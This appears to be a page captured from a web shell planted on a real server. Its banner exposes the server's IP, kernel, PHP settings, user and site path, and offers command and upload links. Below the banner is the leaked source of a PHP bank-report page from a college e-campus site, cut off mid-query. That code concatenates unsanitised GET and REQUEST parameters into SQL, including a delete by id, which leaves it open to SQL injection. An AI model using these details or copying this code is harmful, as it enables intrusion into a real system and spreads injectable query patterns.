|
Server IP : 103.191.208.50 / Your IP : 216.73.216.53 Web Server : LiteSpeed System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64 User : celkcksm ( 1031) PHP Version : 7.4.33 Disable Function : show_source, system, shell_exec, passthru, popen, exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home/celkcksm/websites/vtti.e-campus.co.in/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
include ("include/makeSession.php");
$installment_id=mysqli_query($con,"select * from admin where id='".$_SESSION["ecomid"]."'");
$installment_id=mysqli_fetch_array($installment_id);
$installment_id=$installment_id['menuper'];
$menuper=explode(',',$installment_id);
if(in_array('Manage Accounts',$menuper)){
}else{
header("location:index.php");
}
$_SESSION['page_name']="Accounts Reports";
include('include/function.php');
include("include/header.php");
include("include/sidebar.php");
if(isset($_REQUEST['did']) && $_REQUEST['did']!=''){
$dovalue="";
$doid=$_REQUEST['did'];
$check=mysqli_query($con,"delete from setinstallment where id='$doid'");
if($check){
$_SESSION['msg']='Record Deleted Successfully';
}
echo '<META HTTP-EQUIV="Refresh" Content="0; URL=setinstallmentreports.php">';
}
?>
<script src="plugins/jQuery/jQuery-2.1.4.min.js" type="text/javascript"></script>
<div class="content-wrapper">
<section class="content-header">
<h1>Bank Reports</h1>
<ol class="breadcrumb">
<li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
<li><a href="#">Bank Reports</a></li>
</ol>
</section>
<!-- Main content -->
<section class="content">
<div class="row">
<div class="col-xs-12">
<div class="box">
<div class="box-header">
</div><!-- /.box-header -->
<div class="box-body" style="overflow-x: scroll;">
<form action="" method="GET" style="margin-bottom:50px;" >
<div class="col-md-12">
<div class="col-md-6">
<input type="date" name="from" placeholder="dd/mm/yyyy"
value="<?php if(!empty($_GET['from'])){ echo $_GET['from']; } ?>"
class="form-control col-md-3" style="width:210px;float:right;margin-right:103px;" /> <b>Bank Reports From :</b>
</div>
<div class="col-md-6"> <b>To:</b> <input type="date" name="to" placeholder="dd/mm/yyyy"
value="<?php if(!empty($_GET['to'])){ echo $_GET['to']; } ?>"
class="form-control col-md-3" style="width:210px;float:right;margin-right:203px;" />
</div>
</div>
<input type="submit" name="s" value="Search" class="btn btn-success"/>
<button type="reset" value="Reset" class="btn btn-primary">Reset</button>
</form>
<?php
$mobile=$_GET['s'];
?>
<table id="example1" class="table table-bordered table-striped">
<?php $totalbankopen=mysqli_query($con,"select * from opening_balance_bank where id='1'");
$totalbankopens=mysqli_fetch_array($totalbankopen);
$totalcashopen=mysqli_query($con,"select * from opening_balance_cash where id='1'");
$totalcashopens=mysqli_fetch_array($totalcashopen);
$totalbankclosingbalance=mysqli_query($con,"select *,sum(bank_amount) as bank_amount from bankdetails ");
$amountrf=0;
while($bank_amount=mysqli_fetch_array($totalbankclosingbalance)){
$amountrf +=$bank_amount['bank_amount'];
}
$totalcashopenbalance=mysqli_query($con,"select * from totalcash where id='1'");
$totalcashclosing=mysqli_fetch_array($totalcashopenbalance);
$from=$_GET['from'];
$to=$_GET['to'];
?>
<?php if(!empty($from) && !empty($to)){
$fromcash=mysqli_query($con,"select * from opening_balance_all_cash where updates='".$from."'");
$fromcash=mysqli_fetch_array($fromcash);
$tocash=mysqli_query($con,"select * from opening_balance_all_cash where updates='".$to."'");
$tocash=mysqli_fetch_array($tocash);
?>
<caption style="text-align:center;font-size:16px;font-weight:bold;">Bank Reports <?php if(!empty($from)){?> From :<?php echo $from; ?> To : <?php echo $to; ?><br>
<?php }else{ echo date('d/m/Y').'<br>'; ?>
<?php }?></caption>
<?php }else{ ?>
<caption style="text-align:center;font-size:16px;font-weight:bold;">Bank Reports<?php if(!empty($from)){?> From :<?php echo $from; ?> To : <?php echo $to; }else{ echo date('d/m/Y').'<br>'; ?>
<?php }?></caption>
<?php } ?>
<thead>
<tr>
<th>Sr No</th>
<th>ID</th>
<th>Receipt No</th>
<th>Category Name</th>
<th scope="col">Name</th>
<th scope="col">Course</th>
<th scope="col">Transaction For</th>
<th scope="col">Payment Mode</th>
<th scope="col">Bank Name</th>
<th scope="col">CR </th>
<th scope="col">DR </th>
<th scope="col">Created</th>
<th scope="col">Entry User</th>
</tr>
</thead>
<tbody>
<?php
if(!empty($mobile)){
$from =$_GET['from'];
$to =$_GET['to'];
$dates=null;
$course=null;
$acwise=null;
$transaction_type=null;
$partyname=null;
/**************************************/
$PartyTranctions_dates=null;
$party_payamount_dates=null;
$admission_enquiry_form_dates=null;
$student_booking_dates=null;
$payinstallment_dates=null;
$paymiscfee_dates=null;
$installment_consultants_payments_dates=null;
$employeesalarypayment_dates=null;
/******************************************/
//Acount Category
$PartyTranctions_dates_category=null;
$party_payamount_dates_category=null;
if(!empty($_GET['course'])){
$course="where course.id='".$_GET['course']."'";
}
if(!empty($_GET['acwise'])){
$PartyTranctions_dates_category="where partycategory.id='".$_GET['acwise']."'";
$party_payamount_dates_category="where partycategory.id='".$_GET['acwise']."'";
$admission_enquiry_form_dates="where admission_enquiry_form.created_at >='$from 00:00:00'
AND admission_enquiry_form.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$student_booking_dates="where student_enqury_form.created_at >='$from 00:00:00'
AND student_enqury_form.created_at <='$to 23:59:59' and student_enqury_form.student_id='000'";
$payinstallment_dates="where payinstallment.created_at >='$from 00:00:00'
AND payinstallment.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$paymiscfee_dates="where paymiscfee.created_at >='$from 00:00:00'
AND paymiscfee.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$installment_consultants_payments_dates="where installment_consultants_payments.created_at >='$from 00:00:00'
AND installment_consultants_payments.created_at <='$to 23:59:59' and installment_consultants_payments.student_id='000'";
$employeesalarypayment_dates="where employeesalarypayment.created_at >='$from 00:00:00'
AND employeesalarypayment.created_at <='$to 23:59:59'and employeesalarypayment.EmployeeId='000' ";
}
if(!empty($_GET['transaction_type'])){
$PartyTranctions_dates="where party_entry.partytype='".$_GET['transaction_type']."'";
$party_payamount_dates="where party_entry.partytype='".$_GET['transaction_type']."'";
$admission_enquiry_form_dates="where feeheadmaster.incomeorexpence='".$_GET['transaction_type']."'";
$student_booking_dates="where student_enqury_form.incomeorexpence='".$_GET['transaction_type']."'";
$payinstallment_dates="where feeheadmaster.incomeorexpence='".$_GET['transaction_type']."'";
$paymiscfee_dates="where feeheadmaster.incomeorexpence='".$_GET['transaction_type']."'";
$installment_consultants_payments_dates="where consultants.incomeorexpence='".$_GET['transaction_type']."'";
$employeesalarypayment_dates="where employeeentryform.incomeorexpence='".$_GET['transaction_type']."' ";
}
if(!empty($_GET['partyname'])){
$PartyTranctions_dates_category="where party_entry.id='".$_GET['partyname']."'";
$party_payamount_dates_category="where party_entry.id='".$_GET['partyname']."'";
$admission_enquiry_form_dates="where admission_enquiry_form.created_at >='$from 00:00:00'
AND admission_enquiry_form.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$student_booking_dates="where student_enqury_form.created_at >='$from 00:00:00'
AND student_enqury_form.created_at <='$to 23:59:59' and student_enqury_form.student_id='000'";
$payinstallment_dates="where payinstallment.created_at >='$from 00:00:00'
AND payinstallment.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$paymiscfee_dates="where paymiscfee.created_at >='$from 00:00:00'
AND paymiscfee.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$installment_consultants_payments_dates="where installment_consultants_payments.created_at >='$from 00:00:00'
AND installment_consultants_payments.created_at <='$to 23:59:59' and installment_consultants_payments.student_id='000'";
$employeesalarypayment_dates="where employeesalarypayment.created_at >='$from 00:00:00'
AND employeesalarypayment.created_at <='$to 23:59:59'and employeesalarypayment.EmployeeId='000' ";
}
if (!empty($to) && !empty($from)){
if(!empty($to) && !empty($from) && !empty($_GET['course'])){
$PartyTranctions_dates="where PartyTranctions.created_at >='$from 00:00:00'
AND PartyTranctions.created_at <='$to 23:59:59' and course.id='".$_GET['course']."'";
$party_payamount_dates="where party_payamount.created_at >='$from 00:00:00'
AND party_payamount.created_at <='$to 23:59:59' and course.id='".$_GET['course']."'";
$admission_enquiry_form_dates="where admission_enquiry_form.created_at >='$from 00:00:00'
AND admission_enquiry_form.created_at <='$to 23:59:59' and course.id='".$_GET['course']."'";
$student_booking_dates="where student_enqury_form.created_at >='$from 00:00:00'
AND student_enqury_form.created_at <='$to 23:59:59' and course.id='".$_GET['course']."'";
$payinstallment_dates="where payinstallment.created_at >='$from 00:00:00'
AND payinstallment.created_at <='$to 23:59:59' and course.id='".$_GET['course']."'";
$paymiscfee_dates="where paymiscfee.created_at >='$from 00:00:00'
AND paymiscfee.created_at <='$to 23:59:59' and course.id='".$_GET['course']."'";
$installment_consultants_payments_dates="where installment_consultants_payments.created_at >='$from 00:00:00'
AND installment_consultants_payments.created_at <='$to 23:59:59' and course.id='".$_GET['course']."'";
$employeesalarypayment_dates="where employeesalarypayment.created_at >='$from 00:00:00'
AND employeesalarypayment.created_at <='$to 23:59:59'and course.id='".$_GET['course']."' ";
$course=null;
}else if(!empty($to) && !empty($from) && !empty($_GET['acwise'])){
$PartyTranctions_dates_category="where PartyTranctions.created_at >='$from 00:00:00'
AND PartyTranctions.created_at <='$to 23:59:59' and partycategory.id='".$_GET['acwise']."'";
$party_payamount_dates_category="where party_payamount.created_at >='$from 00:00:00'
AND party_payamount.created_at <='$to 23:59:59' and partycategory.id='".$_GET['acwise']."'";
$acwise=null;
$admission_enquiry_form_dates="where admission_enquiry_form.created_at >='$from 00:00:00'
AND admission_enquiry_form.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$student_booking_dates="where student_enqury_form.created_at >='$from 00:00:00'
AND student_enqury_form.created_at <='$to 23:59:59' and student_enqury_form.student_id='000'";
$payinstallment_dates="where payinstallment.created_at >='$from 00:00:00'
AND payinstallment.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$paymiscfee_dates="where paymiscfee.created_at >='$from 00:00:00'
AND paymiscfee.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$installment_consultants_payments_dates="where installment_consultants_payments.created_at >='$from 00:00:00'
AND installment_consultants_payments.created_at <='$to 23:59:59' and installment_consultants_payments.student_id='000'";
$employeesalarypayment_dates="where employeesalarypayment.created_at >='$from 00:00:00'
AND employeesalarypayment.created_at <='$to 23:59:59'and employeesalarypayment.EmployeeId='000' ";
}else if(!empty($to) && !empty($from) && !empty($_GET['transaction_type'])){
$PartyTranctions_dates="where PartyTranctions.created_at >='$from 00:00:00'
AND PartyTranctions.created_at <='$to 23:59:59' and party_entry.partytype='".$_GET['transaction_type']."'";
$party_payamount_dates="where party_payamount.created_at >='$from 00:00:00'
AND party_payamount.created_at <='$to 23:59:59' and party_entry.partytype='".$_GET['transaction_type']."'";
$admission_enquiry_form_dates="where admission_enquiry_form.created_at >='$from 00:00:00'
AND admission_enquiry_form.created_at <='$to 23:59:59' and feeheadmaster.incomeorexpence='".$_GET['transaction_type']."'";
$student_booking_dates="where student_enqury_form.created_at >='$from 00:00:00'
AND student_enqury_form.created_at <='$to 23:59:59' and student_enqury_form.incomeorexpence='".$_GET['transaction_type']."'";
$payinstallment_dates="where payinstallment.created_at >='$from 00:00:00'
AND payinstallment.created_at <='$to 23:59:59' and feeheadmaster.incomeorexpence='".$_GET['transaction_type']."'";
$paymiscfee_dates="where paymiscfee.created_at >='$from 00:00:00'
AND paymiscfee.created_at <='$to 23:59:59' and feeheadmaster.incomeorexpence='".$_GET['transaction_type']."'";
$installment_consultants_payments_dates="where installment_consultants_payments.created_at >='$from 00:00:00'
AND installment_consultants_payments.created_at <='$to 23:59:59' and consultants.incomeorexpence='".$_GET['transaction_type']."'";
$employeesalarypayment_dates="where employeesalarypayment.created_at >='$from 00:00:00'
AND employeesalarypayment.created_at <='$to 23:59:59'and employeeentryform.incomeorexpence='".$_GET['transaction_type']."' ";
}else if(!empty($to) && !empty($from) && !empty($_GET['partyname'])){
$PartyTranctions_dates_category="where PartyTranctions.created_at >='$from 00:00:00'
AND PartyTranctions.created_at <='$to 23:59:59' and party_entry.id='".$_GET['partyname']."'";
$party_payamount_dates_category="where party_payamount.created_at >='$from 00:00:00'
AND party_payamount.created_at <='$to 23:59:59' and party_entry.id='".$_GET['partyname']."'";
$admission_enquiry_form_dates="where admission_enquiry_form.created_at >='$from 00:00:00'
AND admission_enquiry_form.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$student_booking_dates="where student_enqury_form.created_at >='$from 00:00:00'
AND student_enqury_form.created_at <='$to 23:59:59' and student_enqury_form.student_id='000'";
$payinstallment_dates="where payinstallment.created_at >='$from 00:00:00'
AND payinstallment.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$paymiscfee_dates="where paymiscfee.created_at >='$from 00:00:00'
AND paymiscfee.created_at <='$to 23:59:59' and admission_enquiry_form.student_id='000'";
$installment_consultants_payments_dates="where installment_consultants_payments.created_at >='$from 00:00:00'
AND installment_consultants_payments.created_at <='$to 23:59:59' and installment_consultants_payments.student_id='000'";
$employeesalarypayment_dates="where employeesalarypayment.created_at >='$from 00:00:00'
AND employeesalarypayment.created_at <='$to 23:59:59'and employeesalarypayment.EmployeeId='000' ";
}else{
$PartyTranctions_dates="where PartyTranctions.created_at >='$from 00:00:00'
AND PartyTranctions.created_at <='$to 23:59:59' ";
$party_payamount_dates="where party_payamount.created_at >='$from 00:00:00'
AND party_payamount.created_at <='$to 23:59:59' ";
$admission_enquiry_form_dates="where admission_enquiry_form.created_at >='$from 00:00:00'
AND admission_enquiry_form.created_at <='$to 23:59:59' ";
$student_booking_dates="where student_enqury_form.created_at >='$from 00:00:00'
AND student_enqury_form.created_at <='$to 23:59:59' ";
$payinstallment_dates="where payinstallment.created_at >='$from 00:00:00'
AND payinstallment.created_at <='$to 23:59:59' ";
$paymiscfee_dates="where paymiscfee.created_at >='$from 00:00:00'
AND paymiscfee.created_at <='$to 23:59:59' ";
$installment_consultants_payments_dates="where installment_consultants_payments.created_at >='$from 00:00:00'
AND installment_consultants_payments.created_at <='$to 23:59:59' ";
$employeesalarypayment_dates="where employeesalarypayment.created_at >='$from 00:00:00'
AND employeesalarypayment.created_at <='$to 23:59:59' ";
$bankamount="where banktocash.created_at >='$from 00:00:00'
AND banktocash.created_at <='$to 23:59:59' ";
}
}
//26.10.1996
$Query=mysqli_query($con,"
select PartyTranctions.id as receipt_no,PartyTranctions.Purchase as transaction_for,PartyTranctions.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, PartyTranctions.Pay_Amount as Bill_Amount,PartyTranctions.bank as bank, PartyTranctions.created_at as creat, admin.username as username,PartyTranctions.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id right JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
left JOIN admin as admin ON PartyTranctions.user_id=admin.id
$course $PartyTranctions_dates $PartyTranctions_dates_category AND PartyTranctions.approve=1
UNION
select party_payamount.id as receipt_no,PartyTranctions.Purchase as transaction_for,PartyTranctions.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, party_payamount.transactionamount as Bill_Amount,party_payamount.bank as bank, party_payamount.created_at as creat, admin.username as username,party_payamount.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id left JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
right JOIN party_payamount as party_payamount ON PartyTranctions.Transaction_id=party_payamount.transaction_id
left JOIN admin as admin ON party_payamount.user_id=admin.id
$course $party_payamount_dates
$party_payamount_dates_category AND party_payamount.approve=1
UNION SELECT student_enqury_form.id as receipt_no,student_enqury_form.transaction_for as transaction_for, student_enqury_form.student_id as stuid, student_enqury_form.name as name, course.c_name as cname, null, student_enqury_form.incomeorexpence as incomeorexpence, student_enqury_form.booking_amount as feeamount, student_enqury_form.DepositTo as bank, student_enqury_form.created_at as creates ,admin.username as username,student_enqury_form.PaymentType
as paymentmode
FROM student_enqury_form LEFT JOIN course ON student_enqury_form.course_id=course.id
left JOIN admin as admin ON student_enqury_form.user_id=admin.id
$course $student_booking_dates
UNION SELECT admission_enquiry_form.id as receipt_no,admission_enquiry_form.transaction_for as transaction_for, admission_enquiry_form.student_id as stuid, admission_enquiry_form.name as name, course.c_name as cname, null, admission_enquiry_form.incomeorexpence as incomeorexpence, admission_enquiry_form.submitfee as feeamount, admission_enquiry_form.bank as bank, admission_enquiry_form.created_at as creates ,admin.username as username,admission_enquiry_form.paymentmode
as paymentmode
FROM admission_enquiry_form LEFT JOIN course ON admission_enquiry_form.course=course.id
left JOIN admin as admin ON admission_enquiry_form.user_id=admin.id
$course $admission_enquiry_form_dates
UNION SELECT payinstallment.id as receipt_no,payinstallment.transaction_for as transaction_for,admission_enquiry_form.student_id as stuid, admission_enquiry_form.name as name, course.c_name as cname, null, feeheadmaster.incomeorexpence as incomeorexpence, payinstallment.payment_amount as feeamount, payinstallment.bank as bank, payinstallment.created_at as creates ,admin.username as username,payinstallment.payment_mode as payment_mode
FROM payinstallment left JOIN admission_enquiry_form ON payinstallment.enquiry_id=admission_enquiry_form.student_id LEFT JOIN course ON admission_enquiry_form.course=course.id left JOIN feeheadmaster ON admission_enquiry_form.course=feeheadmaster.course_id
left JOIN admin as admin ON payinstallment.user_id=admin.id
$course $payinstallment_dates
UNION SELECT installment_consultants_payments.id as receipt_no,installment_consultants_payments.transaction_for as transaction_for,consultants.id as stuid, consultants.name as name, course.c_name as cname, null, consultants.incomeorexpence as incomeorexpence, installment_consultants_payments.submitamount as feeamount, installment_consultants_payments.bank as bank, installment_consultants_payments.created_at as creates ,admin.username as username,installment_consultants_payments.paymentmode as paymentmode
FROM installment_consultants_payments left JOIN consultants ON installment_consultants_payments.consultants_id=consultants.id
left JOIN admission_enquiry_form as admission_enquiry_form ON installment_consultants_payments.student_id=admission_enquiry_form.student_id
LEFT JOIN course ON admission_enquiry_form.course=course.id left JOIN feeheadmaster ON admission_enquiry_form.course=feeheadmaster.course_id
left JOIN admin as admin ON installment_consultants_payments.user_id=admin.id
$course $installment_consultants_payments_dates AND installment_consultants_payments.approve=1
UNION SELECT employeesalarypayment.EmployeeSalaryPaymentID as receipt_no,employeesalarypayment.transaction_for as transaction_for,employeeentryform.empid as stuid, employeeentryform.EmployeeName as name, course.c_name as cname, null, employeeentryform.incomeorexpence as incomeorexpence, employeesalarypayment.paidsalary as feeamount, employeesalarypayment.bank as bank, employeesalarypayment.created_at as creates ,admin.username as username,employeesalarypayment.PaymentMode as
PaymentMode
FROM employeesalarypayment left JOIN employeeentryform ON employeesalarypayment.EmployeeId=employeeentryform.empid
LEFT JOIN course ON employeeentryform.course=course.id
left JOIN admin as admin ON employeesalarypayment.user_id=admin.id
$course $employeesalarypayment_dates AND employeesalarypayment.approve=1
UNION SELECT banktocash.id as receipt_no,banktocash.types as transaction_for,banktocash.tran_id as id,bankdetails.bankname as bankname,null,null,banktocash.types as types,banktocash.transactionamount as amount,banktocash.bank as bank,banktocash.created_at as crete,admin.username as username,null
from banktocash
left join bankdetails on
banktocash.bank=bankdetails.id
left join admin on
banktocash.user_id=admin.id
$bankamount order by (Transactiontype='Income') DESC,Transactiontype
");
$Queryf=mysqli_query($con,
"select *,sum(PartyTranctions.Bill_Amount) as totalamounts ,party_entry.created_at as creat,party_entry.id as id from party_entry
left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id
right JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN admin as
admin ON party_entry.user_id=admin.id
left JOIN course as
course ON PartyTranctions.course=course.id
where $dates $course $acwise $transaction_type $partyname
");
}else{
$courdate=date('Y-m-d');
$Query=mysqli_query($con,"
select PartyTranctions.id as receipt_no,PartyTranctions.Purchase as transaction_for,PartyTranctions.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, PartyTranctions.Pay_Amount as Bill_Amount, PartyTranctions.bank as bank, PartyTranctions.created_at as creat, admin.username as username
,PartyTranctions.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id right JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
left JOIN admin as admin ON PartyTranctions.user_id=admin.id
where PartyTranctions.created_at like '".$courdate."%' AND PartyTranctions.approve=1
UNION
select party_payamount.id as receipt_no,PartyTranctions.Purchase as transaction_for,PartyTranctions.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, party_payamount.transactionamount as Bill_Amount, party_payamount.bank as bank, party_payamount.created_at as creat, admin.username as username
,party_payamount.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id left JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
right JOIN party_payamount as party_payamount ON PartyTranctions.Transaction_id=party_payamount.transaction_id
left JOIN admin as admin ON party_payamount.user_id=admin.id
where party_payamount.created_at like '".$courdate."%' AND party_payamount.approve=1
UNION SELECT student_enqury_form.id as receipt_no,student_enqury_form.transaction_for as transaction_for, student_enqury_form.student_id as stuid, student_enqury_form.name as name, course.c_name as cname, null, student_enqury_form.incomeorexpence as incomeorexpence, student_enqury_form.booking_amount as feeamount, student_enqury_form.DepositTo as bank, student_enqury_form.created_at as creates ,admin.username as username,student_enqury_form.PaymentType
as paymentmode
FROM student_enqury_form LEFT JOIN course ON student_enqury_form.course_id=course.id
left JOIN admin as admin ON student_enqury_form.user_id=admin.id
where student_enqury_form.created_at like '".$courdate."%'
UNION SELECT admission_enquiry_form.id as receipt_no,admission_enquiry_form.transaction_for as transaction_for, admission_enquiry_form.student_id as stuid, admission_enquiry_form.name as name, course.c_name as cname, null, admission_enquiry_form.incomeorexpence as incomeorexpence, admission_enquiry_form.submitfee as feeamount, admission_enquiry_form.bank as bank, admission_enquiry_form.created_at as creates ,admin.username as username,admission_enquiry_form.paymentmode
as paymentmode
FROM admission_enquiry_form LEFT JOIN course ON admission_enquiry_form.course=course.id
left JOIN admin as admin ON admission_enquiry_form.user_id=admin.id
where admission_enquiry_form.created_at like '".$courdate."%'
UNION SELECT payinstallment.id as receipt_no,payinstallment.transaction_for as transaction_for,admission_enquiry_form.student_id as stuid, admission_enquiry_form.name as name, course.c_name as cname, null, feeheadmaster.incomeorexpence as incomeorexpence, payinstallment.payment_amount as feeamount, payinstallment.bank as bank, payinstallment.created_at as creates ,admin.username as username,payinstallment.payment_mode as Payment_Mode
FROM payinstallment left JOIN admission_enquiry_form ON payinstallment.enquiry_id=admission_enquiry_form.student_id LEFT JOIN course ON admission_enquiry_form.course=course.id left JOIN feeheadmaster ON admission_enquiry_form.course=feeheadmaster.course_id
left JOIN admin as admin ON payinstallment.user_id=admin.id
where payinstallment.created_at like '".$courdate."%'
UNION SELECT installment_consultants_payments.id as receipt_no,installment_consultants_payments.transaction_for as transaction_for,consultants.id as stuid, consultants.name as name, course.c_name as cname, null, consultants.incomeorexpence as incomeorexpence, installment_consultants_payments.submitamount as feeamount, installment_consultants_payments.bank as bank, installment_consultants_payments.created_at as creates ,admin.username as username
,installment_consultants_payments.paymentmode as Payment_Mode
FROM installment_consultants_payments left JOIN consultants ON installment_consultants_payments.consultants_id=consultants.id
left JOIN admission_enquiry_form as admission_enquiry_form ON installment_consultants_payments.student_id=admission_enquiry_form.student_id
LEFT JOIN course ON admission_enquiry_form.course=course.id left JOIN feeheadmaster ON admission_enquiry_form.course=feeheadmaster.course_id
left JOIN admin as admin ON installment_consultants_payments.user_id=admin.id
where installment_consultants_payments.created_at like '".$courdate."%' AND installment_consultants_payments.approve=1
UNION SELECT employeesalarypayment.EmployeeSalaryPaymentID as receipt_no,employeesalarypayment.transaction_for as transaction_for,employeeentryform.empid as stuid, employeeentryform.EmployeeName as name, course.c_name as cname, null, employeeentryform.incomeorexpence as incomeorexpence, employeesalarypayment.paidsalary as feeamount, employeesalarypayment.bank as bank, employeesalarypayment.created_at as creates ,admin.username as username
,employeesalarypayment.PaymentMode as
Payment_Mode
FROM employeesalarypayment left JOIN employeeentryform ON employeesalarypayment.EmployeeId=employeeentryform.empid
LEFT JOIN course ON employeeentryform.course=course.id
left JOIN admin as admin ON employeesalarypayment.user_id=admin.id
where employeesalarypayment.created_at like '".$courdate."%' AND employeesalarypayment.approve=1
UNION SELECT banktocash.id as receipt_no,banktocash.types as transaction_for,banktocash.tran_id as id,bankdetails.bankname as bankname,null,null,banktocash.types as types,banktocash.transactionamount as amount,banktocash.bank as bank,banktocash.created_at as crete,admin.username as username,null
from banktocash
left join bankdetails on
banktocash.bank=bankdetails.id
left join admin on
banktocash.user_id=admin.id
where banktocash.created_at like '".$courdate."%'
order by (Transactiontype='Income') DESC,Transactiontype
");
$Queryf=mysqli_query($con," select PartyTranctions.id as receipt_no,PartyTranctions.Purchase as transaction_for,PartyTranctions.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, PartyTranctions.Pay_Amount as Bill_Amount, PartyTranctions.bank as bank, PartyTranctions.created_at as creat, admin.username as username
,PartyTranctions.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id right JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
left JOIN admin as admin ON PartyTranctions.user_id=admin.id where PartyTranctions.approve=1
UNION
select party_payamount.id as receipt_no,PartyTranctions.Purchase as transaction_for,PartyTranctions.Transaction_id as Transaction_id, party_entry.partyname as party_name, course.c_name as c_name, partycategory.party_name as accountcateogy, party_entry.partytype as Transactiontype, party_payamount.transactionamount as Bill_Amount, party_payamount.bank as bank, party_payamount.created_at as creat, admin.username as username
,party_payamount.Payment_Mode as Payment_Mode
from party_entry left JOIN partycategory as partycategory ON party_entry.partyentry=partycategory.id left JOIN PartyTranctions as PartyTranctions ON party_entry.id=PartyTranctions.Party_id
left JOIN course as course ON PartyTranctions.course=course.id
right JOIN party_payamount as party_payamount ON PartyTranctions.Transaction_id=party_payamount.transaction_id
left JOIN admin as admin ON party_payamount.user_id=admin.id where party_payamount.approve=1
UNION SELECT student_enqury_form.id as receipt_no,student_enqury_form.transaction_for as transaction_for, student_enqury_form.student_id as stuid, student_enqury_form.name as name, course.c_name as cname, null, student_enqury_form.incomeorexpence as incomeorexpence, student_enqury_form.booking_amount as feeamount, student_enqury_form.DepositTo as bank, student_enqury_form.created_at as creates ,admin.username as username,student_enqury_form.PaymentType
as paymentmode
FROM student_enqury_form LEFT JOIN course ON student_enqury_form.course_id=course.id
left JOIN admin as admin ON student_enqury_form.user_id=admin.id
UNION SELECT admission_enquiry_form.id as receipt_no,admission_enquiry_form.transaction_for as transaction_for, admission_enquiry_form.student_id as stuid, admission_enquiry_form.name as name, course.c_name as cname, null, admission_enquiry_form.incomeorexpence as incomeorexpence, admission_enquiry_form.submitfee as feeamount, admission_enquiry_form.bank as bank, admission_enquiry_form.created_at as creates ,admin.username as username,admission_enquiry_form.paymentmode
as paymentmode
FROM admission_enquiry_form LEFT JOIN course ON admission_enquiry_form.course=course.id
left JOIN admin as admin ON admission_enquiry_form.user_id=admin.id
UNION SELECT payinstallment.id as receipt_no,payinstallment.transaction_for as transaction_for,admission_enquiry_form.student_id as stuid, admission_enquiry_form.name as name, course.c_name as cname, null, feeheadmaster.incomeorexpence as incomeorexpence, payinstallment.payment_amount as feeamount, payinstallment.bank as bank, payinstallment.created_at as creates ,admin.username as username,payinstallment.payment_mode as Payment_Mode
FROM payinstallment left JOIN admission_enquiry_form ON payinstallment.enquiry_id=admission_enquiry_form.student_id LEFT JOIN course ON admission_enquiry_form.course=course.id left JOIN feeheadmaster ON admission_enquiry_form.course=feeheadmaster.course_id
left JOIN admin as admin ON payinstallment.user_id=admin.id
UNION SELECT installment_consultants_payments.id as receipt_no,installment_consultants_payments.transaction_for as transaction_for,consultants.id as stuid, consultants.name as name, course.c_name as cname, null, consultants.incomeorexpence as incomeorexpence, installment_consultants_payments.submitamount as feeamount, installment_consultants_payments.bank as bank, installment_consultants_payments.created_at as creates ,admin.username as username
,installment_consultants_payments.paymentmode as Payment_Mode
FROM installment_consultants_payments left JOIN consultants ON installment_consultants_payments.consultants_id=consultants.id
left JOIN admission_enquiry_form as admission_enquiry_form ON installment_consultants_payments.student_id=admission_enquiry_form.student_id
LEFT JOIN course ON admission_enquiry_form.course=course.id left JOIN feeheadmaster ON admission_enquiry_form.course=feeheadmaster.course_id
left JOIN admin as admin ON installment_consultants_payments.user_id=admin.id where installment_consultants_payments.approve=1
UNION SELECT employeesalarypayment.EmployeeSalaryPaymentID as receipt_no,employeesalarypayment.transaction_for as transaction_for,employeeentryform.empid as stuid, employeeentryform.EmployeeName as name, course.c_name as cname, null, employeeentryform.incomeorexpence as incomeorexpence, employeesalarypayment.paidsalary as feeamount, employeesalarypayment.bank as bank, employeesalarypayment.created_at as creates ,admin.username as username
,employeesalarypayment.PaymentMode as
Payment_Mode
